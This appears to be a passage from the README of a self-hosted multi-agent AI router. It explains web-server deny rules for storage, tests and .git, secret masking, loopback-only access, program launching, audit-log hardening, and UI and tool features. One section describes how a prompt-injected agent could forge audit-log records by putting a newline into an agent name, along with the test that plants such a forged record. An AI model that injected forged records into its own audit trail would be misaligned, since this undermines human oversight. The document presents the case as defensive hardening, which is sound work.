ui/js/storage.js, ui/js/tools.js, /testsuite/ |
served | served | served | served |
ยน IIS has no .htaccess equivalent: its refusal has to come from a web.config you add (the snippet is under Quick start โ Deploying), the way nginx's comes from nginx.example.conf. Apache's own .ht* default is not a substitute โ it covers .htaccess and .htpasswd and serves .git/config quite happily โ which is why the root .htaccess carries the same dot rule as the other two modes. ยฒ These only exist if something wrote them there โ storage/ never is.
- ๐ช Why โany depthโ matters. A second copy of the app โ a backup, an
archive of an older version, a folder kept for comparison โ brings its own
storage/with the same token and keys in it, and itstests/may predatetests/.htaccess. A root-only check served all of that. The guard is therefore a segment rule, not a prefix rule: anything namedstorageanywhere in the path is refused, which is whyhttps://host/router/old-copy/storage/config.jsonanswers403instead of a token. - ๐๏ธ The checkout sits in the web root, so
.git/is part of the surface. This folder is the repository and the thing being served, which puts.git/behind the same door as everything else:.git/configcan carry a remote URL with a token in it, and.git/objectsreconstructs every file ever committed โ including one removed later for holding a secret.serve.phpandnginx.example.confalways refused dotfiles; Apache did not, and served.git/configwith the real[core]section as a 200. The root.htaccessnow refuses any path segment starting with a dot, at any depth, with/.well-knownas the single exception so ACME renewal still works โ andapacheGuards.test.phprequests.git/config,.git/HEAD,.git/objects/pack/and a nested.gitso it cannot quietly reopen. - ๐ง Why Apache needs
RedirectMatch, not just aRewriteRule. In per-directory context a child.htaccessreplaces its parent's rewrite rules unless it opts intoRewriteOptions Inheritโ and every copy of this app ships its own root.htaccess, so a rewrite in the outer app never sees<copy>/tests/โฆ. mod_alias configuration is merged down the tree, so the shippedRedirectMatch 403holds no matter what a nested folder declares. (Found with an Apacherewrite:trace3log: once the request maps into the copy, the parent's rules are skipped entirely.) - ๐ซ API routes are exempt โ deliberately. They are endpoints, not files.
The sidebar asks for
/api/sessionsto list sessions; a rule that matched the word refused that call and broke the UI. No API route maps onto a path on disk โ the handlers openstorage/themselves, server-side. - ๐ฏ Segment-anchored, not substring.
ui/js/storage.js,ui/js/tools.jsand/testsuite/are still served: only a folder actually namedtestsis refused. - ๐ Case-insensitive on purpose. Windows and macOS disks resolve
/STORAGE/state.jsonto the real file, so a case-sensitive check was not a check at all โserve.phplower-cases every segment, Apache usesNC/(?i), and nginx uses~*. - ๐งพ No source either.
serve.phprefuses any.phprequest except the API front controller, so a mistyped path can't print PHP source as text; nginx is told to deny dotfiles and loose data files (.json,.log,.ini,.bak,.key,.pem) even outsidestorage/. - ๐ก Apache files that ship and self-repair.
storage/.htaccessrefuses its whole folder withRequire all denied(plus an Apache 2.2Order/Denyfallback, so an old host gets a clean403rather than a500),tests/.htaccessdoes the same for the dev tooling, and./setup-token.shre-creates the storage one if a deploy lost it. - ๐จ Verify, don't trust. After deploying, ask for both โ in a private window:
JSON or source in the first two means the folder is exposed โ stop and fix the rule before anything else. ๐
curl -s -o /dev/null -w '%{http_code}\n' https://your-host/router/storage/config.json # want 403 / 404 curl -s -o /dev/null -w '%{http_code}\n' https://your-host/router/tests/js/run.mjs # want 403 / 404 curl -s -o /dev/null -w '%{http_code}\n' https://your-host/router/api/sessions # want 401, never 403
- ๐ฐ The strongest option: keep
storage/outside the document root. If the one-folder design forces it inside, the deny rules above are mandatory, not optional.
A guard nobody requests is a guard you don't have, so each serving mode has a test that makes the real request and fails loudly when a path comes back:
| Test | What it actually does |
|---|---|
๐งช guards.test.php |
Boots serve.php on a loopback port and requests the live paths โ files, bare folders, case variants, dotfiles, the /api/* exemption and lookalike names |
๐ก apacheGuards.test.php |
Boots the local Apache with this folder as DocumentRoot and AllowOverride All, so the shipped .htaccess files themselves are what answer โ /tests, /storage, the archived copy, and the dotfile rule over .git/config, .git/HEAD, .git/objects/ and a nested .git |
๐ด nginxGuards.test.php |
Lifts the location regexes out of nginx.example.conf and runs them through PCRE โ the engine nginx matches with โ so a rule that reopens a hole fails without nginx installed |
| ๐ช nested-copy checks | guards.test.php requests nested paths directly; apacheGuards.test.php does the same against the archived copy when one is present โ the case a root-anchored rule misses |
Run them with the rest of the suite (Tests, below). ๐ฑ
- ๐ซ No CORS wildcard โ deliberately. The API used to answer with
Access-Control-Allow-Origin: *, which let any website on the internetfetch()this server and read the answers: every conversation, the memory and the whole config. The UI is served from this same origin and never needed it. Cross-origin is now refused unless the origin is explicitly listed inROUTER_CORS_ORIGINS(comma-separated), andVary: Originkeeps caches honest. - ๐ก๏ธ Security headers on every Apache response โ
X-Content-Type-Options: nosniff(a.jscanโt be talked into being a script of another type),X-Frame-Options: DENY(the console canโt be framed inside another site, so no clickjacking a SAVE button) andX-XSS-Protection: 1; mode=block. The built-in server addsnosniffto everything it serves, SPA fallback included. - ๐ง Cache policy is part of the contract โ HTML is
no-store; JS and CSS areno-cache, must-revalidate, so a browser can never pair a new module with a month-old one (which is how an oldapi.jsonce ran beside a newtools.js). The UI you audited is the UI that loads. โ - ๐ The token never rides along โ it is stripped from every state bundle before that bundle is mirrored to the server or synced to another device (ยง1).
- ๐ What a read hands back is masked, and a copy with no token answers this machine only. Both are measures in their own right, with their own accounts below: ยง20 ๐ masked reads and ยง21 ๐ local-only.
โ๏ธ The honest caveat: the app is only as safe as the operator's switches. Turn everything on, auto-approve writes, and point the root at
/โ and you have built yourself a very capable foot-gun. The design makes the safe choice the default and makes the unsafe choice deliberate, but it does not (and cannot) read your mind. Keep the root narrow, keep approvals on, and rotate your keys. ๐
An agent can open a real desktop program on the machine this app runs on (Config โ Permissions โ
Shell access โ Programs). It could not do this usefully before: through exec a window was force-closed at the command
timeout while the whole turn waited on it.
- ๐ท๏ธ The operator's list is the whole allowlist. An agent may only name a program from
sandbox.programs; the path and the arguments come from that config. No string a model writes ever reaches the OS launcher, so its quoting,&,;and%have nowhere to land โ the same reasonexectakes argv instead of a command line. - ๐ช Detached, so the window outlives the reply โ
cmd /c starton Windows (the mechanism the built-in browser already opens Chrome/Edge with), a backgrounded process on POSIX. There is no timeout here to close what you asked to open. - ๐งพ Audited as a start with no end. A launch writes one
kind=program phase=startline and no end line, which is what Config โ TRACE โ EXEC reads back as started, never finished โ the case that format exists for. - ๐ซ
.bat,.cmdand.ps1are refused as launch targets, because starting one means handing back the command shell or script host this whole design keeps away from a model. That refusal is by extension and is deliberately not overridable from the list;exec_interpretersis the door for script files, where the script is jailed to the allowed directories and inline code is still refused. - ๐ Approval is the approval you already have โ Ask / Allow / Deny for Opening programs and Closing programs, plus Auto Approve, Auto Deny and the usual prompt.
- ๐ฏ A close finds the binary, never the name. Processes are matched by the file they are running from
(
/proc/<pid>/exeon Linux, oneGet-CimInstance Win32_Processquery on Windows,pselsewhere) and compared as resolved paths. The oldertasklistimage-name filter made any other copy of that file on the machine into "the same program", so a close could end something you never opened โ a vendor'shelper.exe, a second editor. If a host will not give up a process list,closerefuses rather than falling back to the name. - ๐ช Closing is graceful first (
taskkill /PIDposts WM_CLOSE; POSIX sends TERM), so a program can still ask about unsaved work;forceends the process outright. The reply names the pids it ended, and every one that refused with the reason (access denied,already exited) โokmeans the program is gone, not that a signal was sent. A console program with no window has nothing to receive a close request, so it needs force. - โจ๏ธ Typing is a tool too โ
window_type, and it is really typing. An agent with an open window can send keystrokes into it, live on screen:window_openNotepad,window_typethe words, watch them appear. The program must already be running (typing into nothing throws instead of pretending), the window is brought forward and the keys sent in one motion, and each call carries at most 2000 characters โ a long letter goes in several bursts, which is also what it looks like. Special keys arrive literally (+,%and friends are escaped, newlines become ENTER), the keystrokes are never written to the trace (it records that typing happened, not what was typed), and approval is its own switch โ Typing into programs beside Opening and Closing. Windows only: it is the system's own keystroke injector, and POSIX has no single equivalent, so anywhere else refuses plainly. And the old rule still holds โ the operator names the program, the model only supplies the keys. - ๐ฆ A Store copy is still the same program. On Windows 11 a program like Notepad runs from a
WindowsApps path nobody configured, while the list holds the alias stub that launched it โ so the match
crosses that one boundary by file name, and only there, because neither side is a place a second copy
could be hiding.
window_typealso waits a few seconds for a just-opened program to show up before concluding nothing is running, and checks the window really came forward before sending โ a stolen focus fails loudly instead of typing into the wrong place. - ๐งพ The trace is written by this app alone โ every field is stripped of control characters before it
reaches
storage/exec.log, so an argument carrying a newline cannot append a record of a command that never ran. Full account in ยง22. โ ๏ธ Where the window appears matters. A program opens in the session Apache runs in: started as a console process (start.bat) it appears on your desktop, but installed as a Windows service it lands in session 0 and nothing is ever visible. On POSIX it needs a desktop session โ a headless host has nowhere to draw. The card states which of these is true on this host, so nobody guesses.- ๐ Off by default (
sandbox.programs_enabled, empty list): updating an older install gains the tools and no capability at all until you add a program.
Three routes were handing back the very values they exist to protect. ๐จ It is worth being precise about why that is worse than it sounds, because it is not "a leak of one secret" โ it is the same secret that guards the other doors.
- ๐ฏ What came back, verbatim โ
GET /api/configreturned the access token, a proxy URL with its password in it, and every provider API key;GET /api/mcp/serversreturned each MCP client'sheaders(theAuthorization: Bearer โฆ, and any other key header);GET /api/mcp-server/configreturned every friend's token. The access token is what the front gate compares against, and a friend token is whatMcpServer::authenticate()compares against โ so one read disclosed the keys to every gated route. ๐๏ธโก๏ธ๐ช - ๐ What comes back now:
********. A single constant (Config::SECRET_MASK) and two functions โConfig::maskSecrets()on the way out,Config::restoreSecrets()on the way in โ so the mask is spelled once and cannot drift between routes. Masked: the access token,sandbox.proxy_activewhen it carries credentials, every value in an MCP client'sheaders, the MCP server's tokens, and its protected-paths entries that hold secrets. โ๏ธ - ๐ณ๏ธ Empty stays empty โ the difference matters. "No token configured" and "a token you are not
allowed to see" are two different states, and the UI has to tell them apart: a fresh install must show an
empty field (and the run
setup-token.shhint), not eight asterisks. So masking is applied only to values that are actually set. ๐ซฅ A proxy with no username and password is not a secret either โ it is a setting, and the panel still names the exit node you are routing through. ๐ - โป๏ธ Why masking cannot simply mean "never send it": every panel in this app edits by read โ change
one key โ post the whole config back. Hand a page a config with a blanked token and the very next toggle
writes the blank back to disk โ a wiped credential that shows up later as a server answering
401, with nothing in the logs to say why. So the read masks and the write restores. ๐ - ๐งฌ Restore matches by identity, not by position. An array index is not a name: reordering two MCP
servers, or deleting one and adding another, would have put a stranger's header onto the wrong server (a
live credential pointed at an endpoint you never configured). Matching is therefore: a server by its
id, then by its URL, then by its command line; a friend token by its id, then by its label. Rename a server in the panel and itsAuthorizationheader still comes back โ that is a test, not a hope. ๐ชช - ๐ฎ A mask with nothing behind it is dropped, and said so. Add a brand-new server, leave the header box
showing
********, and there is no stored value to put back โ so the header is not written at all rather than being saved as the literal asterisks, which would have been a credential that authenticates as nothing and looks like the far end's fault. The count is reported back on the save. ๐งพ - โ๏ธ A real value typed over the mask wins. Paste a new key into that box and it is stored as typed โ masking only ever stands in for "unchanged". ๐
- ๐๏ธ A friend's token is visible exactly once โ when it is created, or when ROTATE is pressed: the
server keeps it, and a later read answers the mask. The COPY button refuses to hand over a mask for the
same reason the drop above exists: pasting
********into a client authenticates as a wrong token, and the failure reads as the server's problem rather than as a copy that copied nothing. ๐๐ซ - ๐งช Proven, not assumed โ
tests/php/secrets.test.phpasserts the mask on every field, that empty stays empty, that a credential-free proxy stays readable, a clean round-trip restores every secret, a renamed server keeps its header (URL match), an unresolvable mask is dropped and counted, and a typed value beats the mask. โ
./setup-token.sh --off prints that it is fine on "a machine nothing else can reach" โ and until v360
nothing enforced it. On a copy behind a web server bound to all interfaces, that was not a theoretical gap:
POST /api/sandbox/program is a program launcher an agent can reach, POST /api/sandbox/exec runs
commands, and GET /api/config โ the route from ยง20 โ answered with the very token that guards the routes
which were protected. ๐ช๐
- ๐งญ Now the documented posture is the enforced posture. With
require_tokenoff, a request whose peer address is not loopback gets403 {"error":"local requests only"}, plus the one-liner that fixes it:./setup-token.sh(orstart.bat -Tokenon Windows), then paste the token into Config โ Access token on each device โ after which the copy is reachable from anywhere again, which is what a token is for. ๐ - ๐ Three spellings of "this machine" count as local:
127.0.0.1,::1, and the IPv4-mapped::ffff:127.0.0.1that some Windows stacks report. All three are asserted in the suite, along with a LAN address, another private address and a public one โ none of which are local. ๐งช - ๐ณ๏ธ No peer address at all passes (the CLI, and PHP's built-in server before it has bound). There is no network path there to refuse โ and refusing it would only break the tooling that runs on the same machine. ๐ฅ๏ธ
- ๐ญ The
Hostheader is deliberately not consulted. It is client-supplied, so a rule like "the Host matched the peer address" would let anyone in by naming their own address in the request. The decision is made on the socket, not on anything the caller wrote. ๐ซ - ๐ค The MCP RPC route is exempt, on purpose.
POST /api/mcp-serverexists for other machines and keeps its own per-friend Bearer token with a read / write / exec scope ceiling, an optional IP allowlist and one-click revoke (ยง12). It is the one door this rule must leave open โ and it is a door, not a hole: the caller is authenticated before anything runs. ๐ - โ๏ธ The honest edge: a request arriving through a reverse proxy on the same host has the proxy as its peer, so it looks local and passes. That is the operator's own configuration rather than a stranger's path (ยง4, the jail), and the answer is the same as everywhere else in this app: set a token and the question stops mattering. ๐งฑ
storage/exec.log is the audit trail โ the two-phase run=โฆ phase=start|end record that Config โ TRACE โ
EXEC reads back, that pairs a command's start with its end, and that shows an opened window as started and
still running. ๐งพ Its authority depends on one property: one line per record. ๐
- ๐ชค So a newline is a forgery. Free text reaches these fields โ the agent name arrives in the tool
call, and every argv element is whatever a model sent. A
\nin either one would let a prompt-injected agent append a hand-written line describing a command that never ran (or, worse, make a real one look like part of a different record) โ the audit trail quietly rewritten by the thing it is auditing. ๐ญ - ๐ก๏ธ Stripped at the one chokepoint, not at the callers. Sanitising lives inside
Sandbox::audit(), whichexec,run_code,window_openandwindow_closeall pass through โ so a future caller cannot forget it, and it runs before the shell-quoting decision below, so a quote-escaped argument cannot carry a line break through the escaping. ๐ง - ๐งฌ Two shapes, because the line carries two kinds of field. The fields the reader takes as a single
token (
run,phase,kind,agent) lose everything from the first break onward and any character outside[\w.:@-]โ a space there would split the field and make the whole line unparseable, which would lose a real record while stopping a forged one. Free text (cwd, the program, the argv) turns breaks into a space and is capped (240 characters per field, 12 argv elements), so one enormous argument cannot bloat the log either. โ๏ธ An empty token becomes-, because an empty field breaks the reader's pattern. ๐ฉน - ๐ The reader still shows the interesting failure. Start and end lines are paired by their
runid, and a start with no end comes back asfinished: falseโ started, never finished is exactly the row you want to see after a crash or a kill mid-command, so it is surfaced rather than hidden. ๐ - ๐งช Proven โ
tests/php/programs.test.phpยง5d writes an audit entry whose agent name contains a newline and a complete fake record (run=forged-inject phase=start โฆ), then asserts the real run is still recorded in one piece and that the forged run id never becomes an entry of its own. โ
tests/ is dev tooling the app never loads, and it now runs four files at a time. That is only safe because
the two things those files used to share were taken away first โ and both of them were state this app's own
security rests on. ๐งช
- ๐งพ The audit trail is not a scratch file.
storage/exec.logis the two-phase record covered in ยง22: the answer to "did anything actually run?". Two test files wrote it, and each remembered its size on entry and truncated it back on the way out โ tidy when you are the only writer, and a deletion of another file's lines the moment you are not, which is exactly what running them at the same time makes them. A test run could be mistaken for real commands, and a real command's record could vanish under one. The trace a test writes now goes to a directory of that file's own:Sandbox::logDir()honoursROUTER_LOG_DIR, the runner sets it per file, andstorage/mcp.log(ยง12) goes the same way. Running the whole suite leaves the operator'sexec.logandmcp.logbyte-identical โ measured, not hoped. ๐ก๏ธ - ๐ The redirect cannot be reached from outside.
ROUTER_LOG_DIRis read from the process environment. There is no route, header, query string or config field that sets it, so no request and no model can move, hide or read a log by asking for it, and unset โ the normal state โ keepsstorage/exactly as it was. Its only reachable effect is to add a directory that a test writes to. ๐ซ - ๐ Loopback only, and a port of its own. Every server the suite starts binds
127.0.0.1and never0.0.0.0โ the generated Apache config is literallyListen 127.0.0.1:<port>โ and the port is now a walk from21000 + pid % 4000, which stays below the OS's ephemeral range. The old way asked the OS for "any free port" (tcp://127.0.0.1:0), which is a race the moment two files ask at the same moment: the number returns to the pool as the socket closes, so both can be handed the same one and one file ends up talking to the other file's server โ assertions answered by a server it never started. A port a real service is using is no longer a candidate either, which matters because a bind failure there looks exactly like a broken build. ๐งญ - ๐ Separate processes, for the same reason as ever. The suite separates its files so one cannot colour another's result (ยง17). A file that can reach into another file's socket or log can report green for something it never checked, so "each file is its own process" has to stay true down to the port it binds and the file it writes. โ
- ๐งช Proven โ six consecutive four-wide runs plus
--jobs 8and--jobs 2, all green with identical counts; samplingnetstatduring a run caught seven simultaneous listeners, all inside the pid-derived band and none of them repeated; run by itself withROUTER_LOG_DIRset,sandbox.test.phpwrites its 9 audit lines into that directory while the install'sexec.logis unchanged; and a full fresh-copy check โPHP 20 files, 20 passed, 1,129 assertions, 5 skippedandJS 24 files, 24 passed, 681 assertionsโ costs about 38s end to end. ๐ฌ
๐งท One rule underneath all of this: nothing that a model can write ever becomes a decision the app obeys. A name, not a path; argv, not a command line; a mask, not a credential; the peer address, not the
Hostheader; one token, not two records. That is the whole design, repeated in five different places. ๐
Both shells are the same application: one store, one set of components, one feature list. settings.interfaceMode decides which decoration is worn, and it applies the moment you pick it in Config โ Interface โ no reload, no second install, and no feature that exists in only one of them.
Comparison table, layout map and the two rules
| ๐๏ธ Classic (the default) | ๐ Desktop 2026 | |
|---|---|---|
| Layout | setup ยท chat ยท map, side by side | floating glass cards on an edge rail, map front-centre |
| Config | collapsible sections in the left panel | drawers that fly out of their label โ and retract back into it as one motion |
| Chat | standard width | 440px by default, drag the edge to widen, or throw it to the full screen |
| Panels | always where they are | optional tuck-away while a node's card is open |
| Glass | flat โ no blur, no glow, no drift | frosted cards, border glow, ambient motion: every one adjustable, every one switchable off |
| Map controls | inside the map panel | lifted into the header, centred over the apps notch |
| Below 1025px | slide-over drawers | the same slide-over drawers |
DESKTOP 2026 โ where things live
+-------------+---------------------------------------+-------------+
| RAIL | CHAT | MAP |
| | | |
| sessions | drag the edge to widen, or | nodes, |
| agents | throw it to the full screen. | beams, |
| providers | 440px by default. | fog, floor |
| config ---> | | |
| mcp | | 3D / 2D |
+-------------+---------------------------------------+-------------+
^ Config flies out of its label, then retracts back into it
CLASSIC is the same app with all three panels always open:
+--------------+-------------+---------------+
| SETUP | CHAT | MAP |
+--------------+-------------+---------------+
๐๏ธ Config, tidied. The Config tab is split into collapsible sections โ Interface ยท Limits & Budgets ยท Permissions ยท Labs ยท Resource Manager ยท Throttle / Limiter ยท MCP Client ยท MCP Server, with Desktop appended as its own card (see Config โ Desktop above) โ each carrying a live status badge on its header. It also rescues numbers you typed but haven't Saved yet, so switching tabs mid-edit never silently discards them.
Two rules kept that honest:
- ๐งฉ The choice is the only switch. Nothing else forks.
ui/js/desktop2026.jsdecorates the DOM the existing components already render โ it owns no state and no feature โ so a bug in the shell can never take one with it. - ๐ฑ Narrow windows are untouched. Under 1025px both shells resolve to the same slide-over drawer layout, which is why the phone view looks and behaves exactly as it always did.
The card is in both shells on purpose. Most of it is the map โ fog, bloom, floor, frame rate, detail โ so Classic gets it too. The rows that address the glass (chat background, blur, glow, ambient motion, the floating floor) stay visible in Classic with their saved values but are disabled there, because there is no glass to tune. Nothing is hidden and nothing is lost. ๐งท
Knob-by-knob table, the preset, topography and defaults
| Knob | Fresh default | Relative GPU cost | What it does |
|---|---|---|---|
| ๐ซ๏ธ Glass blur | 1px | โโโโโโโโโโ the big one | backdrop-filter behind every card โ a live canvas re-composited each frame |
| ๐๏ธ Map detail | 100% | โโโโโโโ | internal resolution: 100 / 85 / 70 / 55 / 42% of the pixel-ratio cap |
| โจ Bloom glow | on | โโโโโโ | multi-pass blur halos on nodes and beams |
| ๐ Floating floor | on | โโโโ | the big screen-blended polar grid layer over the canvas |
| ๐๏ธ Frames per second | 60 | โโโ | hard cap on redraws (1โ60) |
| ๐ฃ Glow & border animation | 100% | โโ | the colour running around card borders |
| ๐ Ambient motion | 100% | โโ | background sweep, floor scan, the slow breathing |
| ๐ Slow auto-rotate | on | โ | idle camera drift, 12s after you stop touching the map |
| ๐ฌ Chat background | 4% | โ free | how much of the map shows through the chat |
| ๐ Fix the floor in place | on | โ free | keeps the fallback grid still in the window |
| ๐ชถ Tuck panels away | on | โ free | slides the rail and the chat aside while a node card is open |
| ๐ข Performance mode | off | โ | one click: the cheap column, still editable |
Every row is a normal setting with its own control โ the defaults above are defaults, not law. ๐๏ธ
One switch writes the same nine settings the controls above already own โ blur 0, glow 0, motion 0, fog off, 30fps, 70% detail, bloom off, floating floor off, auto-rotate off โ plus Resource Manager's pause-when-covered and idle throttle.
- ๐งท It only ever tightens โ already at 24fps? it keeps 24, not 30.
- โฉ๏ธ Switching it off gives your numbers back โ it restores the values it actually wrote, and a knob you moved by hand in the meantime keeps your value instead of being silently reverted.
- ๐ Every row stays visible, so you can see exactly what it did and undo one part of it without undoing the rest.
- ๐ซ Nothing is removed, hidden or disabled by the preset โ which is the whole point of it being a preset.
- ๐ซ๏ธ Background fog โ a haze that begins past the polar grid, under the graph, and reaches the top of the panel. Since v336 it is drawn as the scene background in screen space, not as fog in the world: it cannot orbit, slide or zoom with the map, and it always fills the window. The checkbox turns it on and off; the scene still knows a third, older "full fog" mode internally (
topoFog: 0), which the card deliberately does not offer. - โจ Bloom โ the glow on every node and beam comes from one post-process pass, not from per-object tricks. Off keeps every emissive colour and drops the multi-pass blur.
- ๐ Floating floor โ the fixed polar grid belongs to the glass shell, so Classic always uses the cheap grid that lives inside the scene. In Desktop 2026 the DOM floor layer is the expensive one: a
150vmaxscreen-blended element over the canvas. - ๐ Fix the floor in place โ the in-scene grid is part of the world, so orbiting carried it around and a low angle squashed it into a line. This holds it at the same spot in the window while orbiting, dragging and zooming all keep working. It only means something while the floating floor is off, so the row is disabled (not hidden, and keeping its value) whenever the floating floor is showing.
- ๐๏ธ Map detail โ five explicit steps. This is the one that used to degrade itself: the map silently stepped its own resolution down whenever a frame ran long, which on a slower machine read as three or four visible โflashesโ of the lines getting fuzzier a few seconds after load. It is manual now and stays exactly where you put it โ and each step also holds the composer (bloomโs mip chain included) at that resolution, so the saving is real instead of a smaller final blit.
- ๐๏ธ Frames per second โ a hard cap, 1 to 60, independent of everything else.
- ๐ Slow auto-rotate โ the drift resumes 12s after you stop. Off parks the view until you orbit it yourself, which is also what lets the scene โ and everything composited over it โ go genuinely idle.
๐ก On a low-powered machine: glass blur to 0 (0 removes the backdrop layer entirely โ
blur(0px)would still cost one), bloom and the floating floor off, detail 70%, cap 30fps โ or just click Performance mode and adjust from there. Every one of those is reversible. ๐
| Section | Defaults |
|---|---|
| ๐ฅ๏ธ Desktop | tuck panels away on ยท chat background 4% ยท glass blur 1px ยท glow 100% ยท ambient motion 100% ยท background fog on ยท bloom on ยท floating floor on ยท floor pinned ยท auto-rotate on ยท map detail 100% ยท 60fps ยท performance mode off |
| ๐งช Labs | dynamic tools on ยท dialect memo on ยท API pool on ยท Keep Live when hidden on ยท built-in Browser off |
| ๐งฎ Resource Manager | all four switches off |
Saved settings always win: a fresh copy starts here, and an existing install keeps whatever you already chose until you move that control. ๐พ
Drop an image into the composer and a vision-capable agent can see it. ๐๏ธ๐ผ๏ธ
Paste, drop or pick, safety and per-agent vision
- ๐ Paste, drop or pick โ the bytes never touch the server. They become an in-memory
data:URL and ride in the request'simage_urlfield: ๐ซ no upload endpoint, ๐ซ no file on disk. - ๐ก๏ธ Safe by construction โ only ๐ผ๏ธ PNG / ๐ท JPEG / ๐๏ธ WebP / ๐ฌ GIF are accepted, all inert when sniffed, which keeps the polyglot "image that is also a script" family out.
- ๐ค Per-agent โ only models that actually support vision get the attachment; everyone else is unaffected.
Talk to the team, and let them talk back. ๐ฃ๏ธ๐
Speech-to-text, spoken replies, engines and pitch
- ๐ค Speech to text โ the mic button turns your voice into a message in the composer.
- ๐ Speak replies โ a speaker button reads any reply aloud; flip Speak every reply automatically to hear them all.
- ๐งฐ Two engines โ use your provider's TTS, or the browser's ๐ built-in voices (works offline, no API, no key). Pick the engine, provider and voice.
- โฉ Speed and ๐๏ธ pitch โ tune playback; pitch reads higher as female, lower as male. ๐ค Each agent can override the pitch, so a whole roster can sound distinct.
Type / in the composer for a palette of everything you can address. โจ๏ธโจ
Targets, app commands and quick reference
- ๐ฏ Target an agent โ
/CODE,/ROLE,/NAMEor/ALLsends your next message to one agent, a role, or the whole team. - ๐งญ App commands โ the palette also lists the app's own commands, and never suggests one that wouldn't work here.
- โ
/?โ a quick reference, right in the input box.
Give an agent a standing goal and this app re-invokes it on a timer, one turn at a time, until it finishes or you stop it. It is the difference between "ask the model a thing" and "hand the model a job and walk away." ๐ถโ๏ธ๐จ
Goals, cadence, badges, caps, kill switch and tips
- ๐ฏ A standing goal per agent โ set it in the agent editor (or Brain Lab). Every tick, the agent is re-prompted with its goal, the iteration number, and a plain instruction to make concrete progress now using its tools.
- โฑ๏ธ A cadence you own โ the interval lives in Config โ Limits & Budgets (default generous, because every iteration is billed). ๐ธ
- ๐งญ An honest badge โ each agent card shows RUNNING while it works, HELD when it's parked, and idle otherwise, so a glance tells you the truth.
- ๐ Stop one, release one โ click an agent's ALWAYS ON badge to stop that run without switching the agent off. It becomes HELD; click again to release it and resume next tick.
- ๐งฐ Release everyone in one click โ Config โ Permissions โ Always-On shows how many agents are held and a RELEASE HELD AGENTS button, so a roster parked by a cap (or by hand) is never a trap you have to click through one agent at a time.
- ๐งจ Two spend caps, both off by default โ Max iterations and Max minutes. When a cap trips the agent is parked and held (that's the point of a spend guard) and the status line tells you when a cadence is long enough that the cap would fire after a single tick โ so you can set it to
0and loop forever if that's what you want. - ๐ Survives leaving the tab โ flip Config โ Permissions โ Run while tab is hidden and the timer is driven by a Web Worker (page timers are throttled hard in a background tab), with the in-flight turn no longer aborted the moment you switch away. Come back and it ticks immediately.
- ๐งฏ Master kill switch โ Config โ Permissions โ Enable always-on stops everything at once, aborts in-flight autonomous turns, and releases everyone so switching it back on is a clean, working reset.
- โ Only the right agents run โ an agent needs a standing goal and its own always-on switch and to be active and not held before the scheduler will touch it.
- ๐งต Runs in the page, by design. There is no server-side runner โ this stops when the tab closes, which is exactly why it's cheap and easy to reason about.
๐ Tip: a standing goal of
idle(or two words) gives the agent nothing to aim at, so it will wander and "explore." Give it a real objective โ "run the test suite and fix failures until green." The status line in Config tells you roughly how many turns/hour that will cost.
A single box in the Agents-tab header (ยง button) that reaches every agent's system prompt, on every call path โ main chat, ask-directly and routing-chart runs alike. โจ
Prepend or replace, live toggle and the tool-fight fix
- ๐งฉ Prepend (default) or Replace โ your call. A toggle inside the popup
(bottom-left) picks the behaviour, and the hint above the box updates to match:
- Prepend (off, default) โ the override is placed in front of each agent's own prompt, which still follows. Best for a house rule that everything should obey. ๐
- Replace (on) โ the override stands in for the agent's prompt. Best for a temporary "everyone answer like this." ๐ญ
- ๐ช Toggle it live โ Edit to write it, Activate / Deactivate to arm it without opening the editor. The button pulses while it's armed. ๐
- ๐ Stored prompts are never harmed โ the moment you switch it off (or flip back to Prepend), every agent's own prompt returns exactly as it was.
โ ๏ธ It can fight tools โ and the app knows it. A pre-prompt like "reply with ONLY text / 9 words" used to make agents narrate tool calls instead of sending them. The tool instructions now state plainly that a tool call is the one exception to any brevity rule, and the loop re-prompts once if a model only says it will use a tool.
A pull-tab centred just under the header dips into the chat area โ a \___/
notch sized for a thumb. Tapping it drops the apps menu: ๐ง Brain Lab,
๐งช API Lab, ๐ the Routing chart and ๐ the built-in browser โ so a
phone never has to hunt through the header, and the top rail keeps only what you
reach for constantly. It closes on an outside tap, on Esc, or when you pick
something. ๐ฑ
So a long job doesn't quietly fall out of the model's memory mid-task. ๐งต
Budgeting, compaction, surviving plans and native schemas
- ๐ Budgeted against the model's real window โ replayed history is sized to
the model's actual context limit (not a fixed
24kcharacters), and each oversized tool result keeps its head and tail instead of being cut mid-answer. - ๐๏ธ Live-context compaction โ old assistant /
TOOL_RESULTexchanges are compacted before every request, so the tool transcript can't crowd the conversation out. - ๐ The plan survives โ the
todo_writelist is re-injected into the system prompt and refreshed after each write, so it doesn't get compacted away halfway through. - ๐ง Native tool calling โ where the API family supports it, tools are sent as real schemas (OpenAI, Anthropic and Google shapes) instead of a syntax the model has to imitate, with automatic fallback to the prompt protocol if a provider rejects them.
- ๐ง Learned dialect โ see Dynamic tools below: the dialect that last worked
for a
provider::modelis remembered and tried first.
Tick tools per agent in the editor. They're grouped:
Sandbox, editor, team, memory and MCP tools
๐งฐ Server-side sandbox (files, web, shell)
| Tool | What it does |
|---|---|
๐ web_search |
Search the web, no API key (DuckDuckGo โ Marginalia โ Wiby) |
๐ fetch_url |
Read a page as plain text (refuses private/metadata hosts) |
๐ read_file / list_dir / glob_files / grep_code / stat |
Explore a jailed filesystem |
โ๏ธ write_file |
Create or edit a file โ asks you first |
๐ง๐ป exec |
Run one command as an argv array (no shell), allowlisted โ "timeout" for slow commands, several calls per reply |
๐ run_code |
Run a Python/Node/bash snippet (off by default) โ "timeout" for slow code |
๐ git / git_commit |
Read-only git, plus stage + commit |
๐ exec_start / exec_poll / exec_kill |
Background commands: start a server or watcher, poll its output, stop it |
๐๏ธ Familiar editor + workflow tools (the names models were trained on)
str_replace_editor (view/create/str_replace/insert), edit_file (search/replace), apply_patch (Codex V4A diffs), multi_edit (all-or-nothing), todo_write (a plan), think (a private scratchpad), http_request (any method + headers + body).
๐ค Team + memory + MCP
list_agents, ask_agent, tell_agent (name one agent, or "ALL" for every other agent at once), read_mailbox; remember, share, recall, adopt; mcp_list, mcp_call.
Every path is jailed server-side, so ../ and symlinks can't escape, and a protected-paths list keeps secrets (storage/, keys, dotfiles) off-limits even inside a root.
Different providers aren't one API with different URLs. A single registry (src/Harness.php + ui/js/harness.js) decides, per request:
Shapes, dialects, quirks and adding a provider
- Which API shape โ OpenAI-compatible, Anthropic Messages, Google
generateContent, or Ollama โ from the endpoint host, then provider id, then a model hint. - Which tool dialect to teach โ JSON, Claude XML, native tags, or plain โ from the provider + model id.
- Per-family quirks โ auth headers (Bearer /
